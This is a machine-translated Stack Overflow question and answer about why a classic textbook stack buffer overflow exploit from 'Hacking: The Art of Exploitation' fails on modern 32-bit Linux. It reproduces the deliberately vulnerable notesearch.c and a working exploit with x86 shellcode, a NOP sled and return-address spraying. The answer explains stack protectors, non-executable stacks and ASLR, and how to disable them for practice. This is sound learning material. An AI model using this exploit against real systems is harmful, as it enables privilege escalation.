【问题标题】:buffer overflow query in 32 bit x86 in LinuxLinux 中 32 位 x86 中的缓冲区溢出查询
【发布时间】:2017-11-19 02:20:01
【问题描述】:

我一直在阅读 Jon Erickson 的书“黑客:剥削的艺术,第二版”。

我需要澄清一下有缓冲区溢出漏洞的notesearch.c程序和利用程序exploit_notesearch.c

notesearch.c 的代码如下:

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor
    char searchstring[100];

    if(argc > 1) // If there is an arg,
        strcpy(searchstring, argv[1]); // that is the search string;
    else // otherwise,
        searchstring[0] = 0; // search string is empty.

    userid = getuid();
    fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
    if(fd == -1)
        fatal("in main() while opening file for reading");

    while(printing)
        printing = print_notes(fd, userid, searchstring);
    printf("-------[ end of note data ]-------\n");
    close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
    int note_length;
    char byte=0, note_buffer[100];

    note_length = find_user_note(fd, uid);
    if(note_length == -1) // If end of file reached,
        return 0; // return 0.

    read(fd, note_buffer, note_length); // Read note data.
    note_buffer[note_length] = 0; // Terminate the string.

    if(search_note(note_buffer, searchstring)) // If searchstring found,
        printf(note_buffer); // print the note.
    return 1;
}

// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
    int note_uid=-1;
    unsigned char byte;
    int length;

    while(note_uid != user_uid) {//Loop until a note for user_uid is found.
        if(read(fd, &note_uid, 4) != 4) // Read the uid data.
            return -1; // If 4 bytes aren't read, return end of file code.
        if(read(fd, &byte, 1) != 1) // Read the newline separator.
            return -1;

        byte = length = 0;
        while(byte != '\n') { 
            if(read(fd, &byte, 1) != 1) // Read a single byte.
                return -1; // If byte isn't read, return end of file code.
            length++;
        }
    }
    lseek(fd, length * -1, SEEK_CUR); 

    printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
    return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
    int i, keyword_length, match=0;

    keyword_length = strlen(keyword);
    if(keyword_length == 0) // If there is no search string,
        return 1; // always "match".

    for(i=0; i < strlen(note); i++) { // Iterate over bytes in note.
        if(note[i] == keyword[match]) // If byte matches keyword,
            match++; // get ready to check the next byte;
        else { // otherwise,
            if(note[i] == keyword[0]) // if that byte matches first keyword byte,
                match = 1; // start the match count at 1.
            else
                match = 0; // Otherwise it is zero.
        }
        if(match == keyword_length) // If there is a full match,
            return 1; // return matched.
    }
    return 0; // Return not matched.
}

exploit_notesearch.c 的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (unsigned int) &i - offset; // Set return address.
    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    strcat(command, "\'");
    system(command); // Run exploit.
    free(command);
}

现在我明白了,当系统函数从exploit_notesearch.c 可执行文件运行notesearch.c 的可执行文件时,传递给notesearch.c 可执行文件的第一个参数最终会用地址覆盖存储在notesearch.c 的main 堆栈帧中的返回地址带有 NOP 指令的数组元素,但这是我的查询,当弹出 main 堆栈并将返回地址填充回 eip 并且将执行 eip 中的指令时,操作系统将看到 eip 不再指向在文本段边界内的地址(存储在 eip 中的地址将是包含 NOP 指令的元素的地址,而不是在文本段边界内)并退出给出分段错误。那么这是否意味着无论在哪里进行内存分段和此类保护,这些类型的缓冲区溢出都会变得无用?

我不明白的是,我自己正在运行 Linux (Linux Mint 17),并且在 Intel x86 处理器上拥有一台 32 位机器。但是当我编译 notesearch.c 和 exploit_notesearch.c 并以 Jon 书中提到的相同方式运行它时,我总是遇到分段错误。

我还想借此机会感谢 Jon 写了一本优秀的书,它让我清楚了当可执行文件加载到内存并开始执行时究竟会发生什么。

谢谢,

罗希特

【问题讨论】:

  • 为了更正您的措辞-程序不知道您正在尝试在文本段之外执行内存-内核知道您正在尝试在不可执行的页面上执行,从而导致一个页面错误,然后在用户态,一个 SIGSEGV

标签: buffer-overflow


【解决方案1】:

是的,很可能是这种情况,您可能在 gcc 中默认具有编译时堆栈保护。

现代 Linux 系统通常包含并生成没有可执行堆栈、包含堆栈金丝雀的可执行文件,并且可以在内存中对堆栈上的变量进行重新排序,尤其是数组。您可以尝试使用-fno-stack-protector 作为 gcc 的标志进行编译。根据您的内核,您可能还需要paxctl(但您可能没有运行 PaX 内核)

简而言之,不,堆栈溢出在 Linux 上并非没用,但总的来说,它们是最不受欢迎的 bug 类,这与过去相反。

在现代利用堆栈溢出的最佳机会,假设它在特定情况下甚至是可能的,通常是通过使用它进行部分/目标覆盖来创建一个“原始”(即任意相对读取或写入),比简单的线性数据损坏更强大。但是,您可能在人为的程序中没有此选项。这个想法是通过覆盖其他堆栈变量来破坏应用程序特定的状态/逻辑,而不是简单地覆盖保存的 CPU 寄存器。不过,在某些情况下,这可以通过变量重新排序来缓解,如上所述 - 像数组这样的高风险类型将被放置在堆栈顶部,在那里它们将溢出到金丝雀而不是其他局部变量。

尝试在编译时禁用堆栈保护,或者如果您想进行此练习,请考虑使用旧 VM。 Red Hat 6.2 是一个不错的简单目标。

由于 glibc 已添加到 malloc/free 的基本动机,您也会遇到在现代系统上利用堆溢出的问题。进行教科书式unlink() 样式覆盖可能会导致SIGABRT,因为glibc 会在取消链接块之前识别损坏。

在这种情况下可能不是(我没有仔细阅读整个内容),但您也需要应对 ASLR。这是一个内核功能,可以通过 /proc-Google 中的“禁用 ASLR Linux”设置来禁用

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-09-30
    • 1970-01-01
    • 2014-11-07
    • 2011-09-07
    • 2021-06-13
    • 2015-12-16
    • 1970-01-01
    • 2010-11-11
    相关资源
    最近更新 更多